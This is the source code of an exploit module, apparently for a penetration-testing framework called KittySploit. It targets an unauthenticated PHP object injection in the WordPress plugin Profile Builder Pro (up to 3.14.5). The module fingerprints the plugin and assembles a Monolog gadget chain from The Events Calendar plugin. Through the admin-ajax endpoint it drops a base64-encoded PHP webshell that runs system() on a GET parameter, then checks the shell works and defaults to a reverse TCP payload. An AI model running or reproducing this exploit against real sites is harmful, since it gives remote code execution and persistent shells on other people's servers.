WordPress Profile Builder Pro <= 3.14.5 - PHP Object Injection RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import base64
import random
import re
import string
import time
from typing import List, Optional, Tuple

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.wordpress import Wordpress

_AJAX_ACTION = "wppb_request_users_pins"
_VULN_HIGH = (3, 14, 5)
_PATCHED = (3, 14, 6)
_PLUGIN_SLUGS = ("profile-builder-pro", "profile-builder")
_TEC_PLUGIN = "the-events-calendar"
_POI_PROBE = 'O:8:"stdClass":1:{s:4:"test";s:10:"nuclei-poi";}'
_WEBROOT_PREFIXES = ("/var/www/html", "/var/www", "/srv/www", "/htdocs", "/www")
_COMMON_SERVER_PATHS = (
    "/var/www/html/{name}.php",
    "/var/www/html/wp-content/uploads/{name}.php",
    "/var/www/html/wp-content/{name}.php",
    "/var/www/{name}.php",
    "/tmp/{name}.php",
)


class Module(Exploit, Http_client, Wordpress):
    __info__ = {
        "name": "WordPress Profile Builder Pro <= 3.14.5 - PHP Object Injection RCE",
        "description": (
            "Unauthenticated PHP object injection in Profile Builder Pro via the "
            "wppb_request_users_pins admin-ajax action (args parameter). "
            "Full RCE requires a POP gadget chain; this module chains The Events "
            "Calendar Monolog ProcessHandler (Monolog/RCE10) when that plugin is present."
        ),
        "author": ["Mattia Brollo (0xbro)", "KittySploit Team"],
        "arch": [Arch.PHP],
        "platform": Platform.MULTI,
        "references": [
            "https://www.core-jmp.org/blog/exploiting-a-php-object-injection-in-profile-builder-pro-in-the-era-of-ai",
            "https://github.com/ambionics/phpggc",
        ],
        "tags": [
            "wordpress",
            "profile-builder",
            "wppb",
            "php-object-injection",
            "deserialization",
            "rce",
            "unauthenticated",
            "the-events-calendar",
            "monolog",
        ],
        "payload": {
            "default": "payloads/singles/cmd/php/reverse_tcp",
            "arch": Arch.PHP,
            "platform": Platform.PHP,
            "category": "singles",
        },
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation"],
            "expected_requests": 8,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals"],
            "cost": 1.5,
            "noise": 0.5,
            "value": 1.0,
            "requires": {
                "min_endpoints": 0,
                "min_params": 0,
                "tech_hints_any": ["wordpress", "php"],
                "tech_hints_all": [],
                "specializations_any": [],
                "risk_signals_any": [],
                "auth_session": False,
                "capabilities_any": [],
                "capabilities_all": [],
                "confidence_min": {},
                "confidence_min_any": {"wordpress": 0.3},
                "endpoint_pattern_any": [],
                "param_any": [],
                "api_surface_ready": False,
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": ""},
                    {"capability": "shell", "from_detail": ""},
                ],
                "consumes_capabilities": [],
                "option_bindings": {},
                "suggested_followups": [
                    "post/shell/multi/gather/privesc_suggester",
                    "post/shell/multi/manage/pivot_autoroute",
                ],
            },
        },
    }

    server_path = OptString(
        "",
        "Absolute path for the dropped PHP webshell (e.g. /var/www/html/ks.php)",
        required=True,
    )
    cmd_param = OptString("0", "GET parameter used by the dropped webshell", required=False)
    verify_cmd = OptString("id", "Command used to verify shell execution", required=False)
    skip_version_check = OptBool(
        False,
        "Attempt exploit even when plugin version appears patched or unknown",
        required=False,
        advanced=True,
    )
    require_tec = OptBool(
        True,
        "Abort RCE when The Events Calendar plugin is not detected (Monolog gadget source)",
        required=False,
        advanced=True,
    )

    def _wp_base(self) -> str:
        return self.wp_normalize_base_path(self.path or "/")

    def _path(self, suffix: str) -> str:
        base = self._wp_base()
        if not suffix.startswith("/"):
            suffix = "/" + suffix
        return f"{base}{suffix}" if base != "/" else suffix

    def _fetch_plugin_info(self) -> Tuple[str, str, str]:
        wp_base = self._wp_base()
        for slug in _PLUGIN_SLUGS:
            version = self.wp_plugin_version(slug, wp_base)
            if version:
                return version, slug, self.wp_plugin_path(wp_base, slug, "readme.txt")

            candidates = [
                self.wp_plugin_path(wp_base, slug, "readme.txt"),
                self.wp_plugin_path(wp_base, slug, f"{slug}.php"),
                self.wp_plugin_path(
                    wp_base,
                    slug,
                    "add-ons/user-listing/one-map-listing.php",
                ),
            ]
            for path in candidates:
                response = self.http_request(method="GET", path=path, allow_redirects=True)
                if not response or response.status_code != 200:
                    continue
                body = response.text or ""
                for pattern in (
                    r"Stable tag:\s*([0-9]+\.[0-9]+(?:\.[0-9]+)?)",
                    r"Version:\s*([0-9]+\.[0-9]+(?:\.[0-9]+)?)",
                ):
                    match = re.search(pattern, body, re.IGNORECASE)
                    if match:
                        return match.group(1).strip(), slug, path
                markers = ("Profile Builder", "profile-builder", "wppb")
                if any(marker.lower() in body.lower() for marker in markers):
                    return "", slug, path
        return "", "", ""

    def _version_vulnerable(self, version: str) -> Optional[bool]:
        if not version:
            return None
        return self.wp_version_in_range(version, (0, 0, 0), _VULN_HIGH)

    def _tec_detected(self) -> bool:
        wp_base = self._wp_base()
        version = self.wp_plugin_version(_TEC_PLUGIN, wp_base)
        if version:
            return True
        for suffix in (
            self.wp_plugin_path(wp_base, _TEC_PLUGIN, "the-events-calendar.php"),
            self.wp_plugin_path(
                wp_base,
                _TEC_PLUGIN,
                "common/vendor/vendor-prefixed/monolog/monolog/src/Monolog/Handler/ProcessHandler.php",
            ),
        ):
            response = self.http_request(method="GET", path=suffix, allow_redirects=True)
            if response and response.status_code == 200:
                return True
        return False

    @staticmethod
    def _php_sprop(key: str) -> str:
        return f's:{len(key)}:"{key}";'

    @staticmethod
    def _php_sval(value: str) -> str:
        return f's:{len(value)}:"{value}";'

    @staticmethod
    def _php_kprot(prop: str) -> str:
        return f"\x00*\x00{prop}"

    @staticmethod
    def _php_kpriv(class_name: str, prop: str) -> str:
        return f"\x00{class_name}\x00{prop}"

    @classmethod
    def _build_datetime_immutable_serial(cls) -> str:
        return (
            'O:17:"DateTimeImmutable":3:{'
            's:4:"date";s:26:"2024-01-01 00:00:00.000000";'
            's:13:"timezone_type";i:3;'
            's:8:"timezone";s:3:"UTC";'
            '}'
        )

    @classmethod
    def _build_monolog_rce_payload(cls, command: str) -> str:
        dt_serial = cls._build_datetime_immutable_serial()
        record_serial = (
            "a:7:{"
            + cls._php_sprop("message")
            + cls._php_sval("x")
            + cls._php_sprop("context")
            + "a:0:{}"
            + cls._php_sprop("level")
            + "i:500;"
            + cls._php_sprop("level_name")
            + cls._php_sval("CRITICAL")
            + cls._php_sprop("channel")
            + cls._php_sval("app")
            + cls._php_sprop("datetime")
            + dt_serial
            + cls._php_sprop("extra")
            + "a:0:{}"
            + "}"
        )
        buffer_serial = f"a:1:{{i:0;{record_serial}}}"

        process_handler = "TEC\\Common\\Monolog\\Handler\\ProcessHandler"
        process_serial = (
            f'O:{len(process_handler)}:"{process_handler}":8:{{'
            + cls._php_sprop(cls._php_kpriv(process_handler, "command"))
            + cls._php_sval(command)
            + cls._php_sprop(cls._php_kpriv(process_handler, "process"))
            + "N;"
            + cls._php_sprop(cls._php_kpriv(process_handler, "pipes"))
            + "a:0:{}"
            + cls._php_sprop(cls._php_kpriv(process_handler, "cwd"))
            + "N;"
            + cls._php_sprop(cls._php_kprot("level"))
            + "i:100;"
            + cls._php_sprop(cls._php_kprot("bubble"))
            + "b:1;"
            + cls._php_sprop(cls._php_kprot("formatter"))
            + "N;"
            + cls._php_sprop(cls._php_kprot("processors"))
            + "a:0:{}"
            + "}"
        )

        fingers_crossed = "TEC\\Common\\Monolog\\Handler\\FingersCrossedHandler"
        return (
            f'O:{len(fingers_crossed)}:"{fingers_crossed}":9:{{'
            + cls._php_sprop(cls._php_kprot("handler"))
            + process_serial
            + cls._php_sprop(cls._php_kprot("activationStrategy"))
            + "N;"
            + cls._php_sprop(cls._php_kprot("buffering"))
            + "b:1;"
            + cls._php_sprop(cls._php_kprot("bufferSize"))
            + "i:0;"
            + cls._php_sprop(cls._php_kprot("buffer"))
            + buffer_serial
            + cls._php_sprop(cls._php_kprot("stopBuffering"))
            + "b:1;"
            + cls._php_sprop(cls._php_kprot("passthruLevel"))
            + "i:500;"
            + cls._php_sprop(cls._php_kprot("bubble"))
            + "b:1;"
            + cls._php_sprop(cls._php_kprot("processors"))
            + "a:0:{}"
            + "}"
        )

    def _ajax_post(self, args_value: str):
        return self.http_request(
            method="POST",
            path=self._path("/wp-admin/admin-ajax.php"),
            data={
                "action": _AJAX_ACTION,
                "formid": "42",
                "page": "1",
                "totalpages": "3",
                "ititems": "50",
                "args": args_value,
            },
            headers={"X-Requested-With": "XMLHttpRequest"},
            timeout=20,
        )

    def _probe_poi(self) -> bool:
        response = self._ajax_post(_POI_PROBE)
        if not response:
            return False
        return response.status_code == 500

    @classmethod
    def _server_path_to_url(cls, server_path: str) -> str:
        for prefix in _WEBROOT_PREFIXES:
            if server_path.startswith(prefix):
                suffix = server_path[len(prefix):] or "/"
                return suffix if suffix.startswith("/") else f"/{suffix}"
        if server_path.startswith("/"):
            return server_path
        return f"/{server_path}"

    def _random_shell_name(self) -> str:
        suffix = "".join(random.choices(string.ascii_lowercase + string.digits, k=6))
        return f"ks{suffix}"

    def _build_webshell_source(self) -> str:
        param = str(self.cmd_param or "0").strip() or "0"
        payload = self.payload
        if isinstance(payload, bytes):
            payload = payload.decode("utf-8", errors="replace")
        php_body = str(payload or "").strip()
        if php_body:
            return f'<?php {php_body} ?>'
        return f'<?php system($_GET["{param}"]); ?>'

    def _build_drop_command(self, server_path: str, shell_source: str) -> str:
        encoded = base64.b64encode(shell_source.encode()).decode()
        return f"echo {encoded}|base64 -d>{server_path}"

    def _candidate_server_paths(self) -> List[str]:
        explicit = str(self.server_path or "").strip()
        if explicit:
            return [explicit]
        name = self._random_shell_name()
        return [pattern.format(name=name) for pattern in _COMMON_SERVER_PATHS]

    def check(self):
        version, slug, evidence = self._fetch_plugin_info()
        if not evidence:
            return {
                "vulnerable": False,
                "reason": "Profile Builder plugin not detected",
                "confidence": "low",
            }

        vuln = self._version_vulnerable(version)
        if vuln is False:
            return {
                "vulnerable": False,
                "reason": (
                    f"Profile Builder {version} ({slug}) >= "
                    f"{_PATCHED[0]}.{_PATCHED[1]}.{_PATCHED[2]} (patched)"
                ),
                "confidence": "high",
            }

        poi_active = self._probe_poi()
        tec = self._tec_detected()
        confidence = "high" if poi_active else ("medium" if version else "low")
        version_text = version or "unknown"
        reason_parts = [
            f"Profile Builder {version_text} ({slug}) detected at {evidence}",
        ]
        if vuln is True:
            reason_parts.append(f"<= {_VULN_HIGH[0]}.{_VULN_HIGH[1]}.{_VULN_HIGH[2]} is affected")
        if poi_active:
            reason_parts.append("active POI probe returned HTTP 500")
        if tec:
            reason_parts.append("The Events Calendar present (Monolog RCE10 gadget available)")
        elif self.require_tec:
            reason_parts.append("The Events Calendar not detected — RCE gadget chain unavailable")

        return {
            "vulnerable": True,
            "reason": "; ".join(reason_parts),
            "confidence": confidence,
        }

    def run(self):
        print_status("Profile Builder Pro — PHP object injection (wppb_request_users_pins)")

        version, slug, evidence = self._fetch_plugin_info()
        if not evidence:
            print_error("Profile Builder plugin not detected")
            self.not_vulnerable()
            return False

        vuln = self._version_vulnerable(version)
        if version:
            flag = "affected" if vuln else "patched"
            print_info(f"Profile Builder {version} ({slug}) — {flag}")
        else:
            print_warning(f"Profile Builder detected ({slug}) but version unknown")

        if vuln is False and not self.skip_version_check:
            print_error(
                f"Target appears patched (>= {_PATCHED[0]}.{_PATCHED[1]}.{_PATCHED[2]}). "
                "Use skip_version_check to force."
            )
            self.not_vulnerable()
            return False

        tec_present = self._tec_detected()
        if self.require_tec and not tec_present:
            print_error(
                "The Events Calendar plugin not detected — Monolog ProcessHandler gadget unavailable"
            )
            print_warning("POI primitive may still exist; set require_tec=false to attempt anyway")
            self.not_vulnerable()
            return False
        if tec_present:
            print_success("The Events Calendar detected — using Monolog/RCE10 gadget chain")
        else:
            print_warning("Proceeding without TEC detection confirmation")

        shell_source = self._build_webshell_source()
        param = str(self.cmd_param or "0").strip() or "0"
        verify_command = str(self.verify_cmd or "id").strip() or "id"

        for server_path in self._candidate_server_paths():
            url_path = self._server_path_to_url(server_path)
            if not url_path.startswith("/"):
                url_path = f"/{url_path}"

            print_status(f"Dropping shell via proc_open → {server_path}")
            print_info(f"Expected URL path: {url_path}")

            command = self._build_drop_command(server_path, shell_source)
            payload = self._build_monolog_rce_payload(command)

            response = self._ajax_post(payload)
            status = response.status_code if response else "n/a"
            print_status(f"Deserialization trigger HTTP {status}")

            time.sleep(1.5)

            loader = self.http_request(method="GET", path=url_path, timeout=15)
            print_status(f"Shell probe HTTP {loader.status_code if loader else 'n/a'}")

            verify = self.http_request(
                method="GET",
                path=url_path,
                params={param: verify_command},
                timeout=15,
            )
            verify_body = (verify.text or "") if verify else ""
            shell_active = bool(verify and verify.status_code == 200 and "uid=" in verify_body)

            if shell_active:
                print_success(f"Shell active at {url_path}")
                trigger = self.http_request(
                    method="GET",
                    path=url_path,
                    params={param: verify_command},
                    timeout=15,
                )
                if trigger and trigger.status_code == 200:
                    print_success("Shell triggered — check listener if using reverse_tcp")
                self.vulnerable()
                return True

            if verify_body.strip() and len(verify_body.strip()) < 600:
                print_warning(
                    f"File reachable but verification inconclusive: {verify_body.strip()[:200]}"
                )
                self.vulnerable()
                return False

            if loader and loader.status_code == 404:
                print_warning(f"Shell not found at {url_path} — trying next path")
                continue

        print_error("Exploitation failed — no writable path succeeded")
        print_warning(
            "Set server_path to an absolute PHP-writable path "
            "(e.g. /var/www/html/wp-content/uploads/ks.php)"
        )
        return False